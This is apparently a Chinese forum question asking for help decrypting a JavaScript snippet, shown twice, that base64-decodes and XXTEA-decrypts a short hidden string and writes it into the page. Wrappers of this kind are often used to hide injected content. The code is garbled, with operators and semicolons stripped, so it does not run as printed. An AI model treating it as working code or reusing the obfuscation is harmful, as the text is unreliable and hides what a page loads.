请求各位js高手帮我解密这段代码,十分感谢~~

JavaScript012

请求各位js高手帮我解密这段代码,十分感谢~~,第1张

< script language = javascript >

function utf8to16(str) {

var out, i, len, c

var char2, char3

out = []

len = str.length

i = 0

while (i < len) {

c = str.charCodeAt(i)

switch (c >> 4) {

case 0:

case 1:

case 2:

case 3:

case 4:

case 5:

case 6:

case 7:

out[out.length] = str.charAt(i - 1)

break

case 12:

case 13:

char2 = str.charCodeAt(i)

out[out.length] = String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F))

break

case 14:

char2 = str.charCodeAt(i)

char3 = str.charCodeAt(i)

out[out.length] = String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0))

break

}

}

return out.join('')

}

var base64DecodeChars = new Array(-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1)

function base64decode(str) {

var c1, c2, c3, c4

var i, len, out

len = str.length

i = 0

out = ""

while (i < len) {

do {

c1 = base64DecodeChars[str.charCodeAt(i) & 0xff]

} while (i < len && c1 == -1)

if (c1 == -1) break

do {

c2 = base64DecodeChars[str.charCodeAt(i) & 0xff]

} while (i < len && c2 == -1)

if (c2 == -1) break

out = String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4))

do {

c3 = str.charCodeAt(i) & 0xff

if (c3 == 61) return out

c3 = base64DecodeChars[c3]

} while (i < len && c3 == -1)

if (c3 == -1) break

out = String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2))

do {

c4 = str.charCodeAt(i) & 0xff

if (c4 == 61) return out

c4 = base64DecodeChars[c4]

} while (i < len && c4 == -1)

if (c4 == -1) break

out = String.fromCharCode(((c3 & 0x03) << 6) | c4)

}

return out

}

function long2str(v, w) {

var vl = v.length

var sl = v[vl - 1] & 0xffffffff

for (var i = 0 i < vl i) {

v[i] = String.fromCharCode(v[i] & 0xff, v[i] >>> 8 & 0xff, v[i] >>> 16 & 0xff, v[i] >>> 24 & 0xff)

}

if (w) {

return v.join('').substring(0, sl)

} else {

return v.join('')

}

}

function str2long(s, w) {

var len = s.length

var v = []

for (var i = 0 i < len i = 4) {

v[i >> 2] = s.charCodeAt(i) | s.charCodeAt(i 1) << 8 | s.charCodeAt(i 2) << 16 | s.charCodeAt(i 3) << 24

}

if (w) {

v[v.length] = len

}

return v

}

function xxtea_decrypt(str, key) {

if (str == "") {

return ""

}

var v = str2long(str, false)

var k = str2long(key, false)

var n = v.length - 1

var z = v[n - 1],

y = v[0],

delta = 0x9E3779B9

var mx, e, q = Math.floor(6 52 / (n 1)),

sum = q * delta & 0xffffffff

while (sum != 0) {

e = sum >>> 2 & 3

for (var p = n p > 0 p--) {

z = v[p - 1]

mx = (z >>> 5 ^ y << 2)(y >>> 3 ^ z << 4) ^ (sum ^ y)(k[p & 3 ^ e] ^ z)

y = v[p] = v[p] - mx & 0xffffffff

}

z = v[n]

mx = (z >>> 5 ^ y << 2)(y >>> 3 ^ z << 4) ^ (sum ^ y)(k[p & 3 ^ e] ^ z)

y = v[0] = v[0] - mx & 0xffffffff

sum = sum - delta & 0xffffffff

}

return long2str(v, true)

}

t = "EuFdn3v3QgQnHxb2ADaY8iha7jZR2kcNGqijPESDpJQcgT4FcspGYnEMd s="

t = utf8to16(xxtea_decrypt(base64decode(t), 'sd'))

document.write(t) < /script>

<script language = javascript >function utf8to16(str) { var out, i, len, c var char2, char3 out = [] len = str.length i = 0 while (i <len) { c = str.charCodeAt(i) switch (c >>4) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: out[out.length] = str.charAt(i - 1) break case 12: case 13: char2 = str.charCodeAt(i) out[out.length] = String.fromCharCode(((c &0x1F) <<6) | (char2 &0x3F)) break case 14: char2 = str.charCodeAt(i) char3 = str.charCodeAt(i) out[out.length] = String.fromCharCode(((c &0x0F) <<12) | ((char2 &0x3F) <<6) | ((char3 &0x3F) <<0)) break } } return out.join('')}var base64DecodeChars = new Array(-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1)function base64decode(str) { var c1, c2, c3, c4 var i, len, out len = str.length i = 0 out = "" while (i <len) { do { c1 = base64DecodeChars[str.charCodeAt(i) &0xff] } while (i <len &&c1 == -1) if (c1 == -1) break do { c2 = base64DecodeChars[str.charCodeAt(i) &0xff] } while (i <len &&c2 == -1) if (c2 == -1) break out = String.fromCharCode((c1 <<2) | ((c2 &0x30) >>4)) do { c3 = str.charCodeAt(i) &0xff if (c3 == 61) return out c3 = base64DecodeChars[c3] } while (i <len &&c3 == -1) if (c3 == -1) break out = String.fromCharCode(((c2 &0XF) <<4) | ((c3 &0x3C) >>2)) do { c4 = str.charCodeAt(i) &0xff if (c4 == 61) return out c4 = base64DecodeChars[c4] } while (i <len &&c4 == -1) if (c4 == -1) break out = String.fromCharCode(((c3 &0x03) <<6) | c4) } return out}function long2str(v, w) { var vl = v.length var sl = v[vl - 1] &0xffffffff for (var i = 0i <vli) { v[i] = String.fromCharCode(v[i] &0xff, v[i] >>>8 &0xff, v[i] >>>16 &0xff, v[i] >>>24 &0xff) } if (w) { return v.join('').substring(0, sl) } else { return v.join('') }}function str2long(s, w) { var len = s.length var v = [] for (var i = 0i <leni = 4) { v[i >>2] = s.charCodeAt(i) | s.charCodeAt(i 1) <<8 | s.charCodeAt(i 2) <<16 | s.charCodeAt(i 3) <<24 } if (w) { v[v.length] = len } return v}function xxtea_decrypt(str, key) { if (str == "") { return "" } var v = str2long(str, false) var k = str2long(key, false) var n = v.length - 1 var z = v[n - 1], y = v[0], delta = 0x9E3779B9 var mx, e, q = Math.floor(6 52 / (n 1)), sum = q * delta &0xffffffff while (sum != 0) { e = sum >>>2 &3 for (var p = np >0p--) { z = v[p - 1] mx = (z >>>5 ^ y <<2)(y >>>3 ^ z <<4) ^ (sum ^ y)(k[p &3 ^ e] ^ z) y = v[p] = v[p] - mx &0xffffffff } z = v[n] mx = (z >>>5 ^ y <<2)(y >>>3 ^ z <<4) ^ (sum ^ y)(k[p &3 ^ e] ^ z) y = v[0] = v[0] - mx &0xffffffff sum = sum - delta &0xffffffff } return long2str(v, true)}t = "EuFdn3v3QgQnHxb2ADaY8iha7jZR2kcNGqijPESDpJQcgT4FcspGYnEMd s="t = utf8to16(xxtea_decrypt(base64decode(t), 'sd'))document.write(t)</script>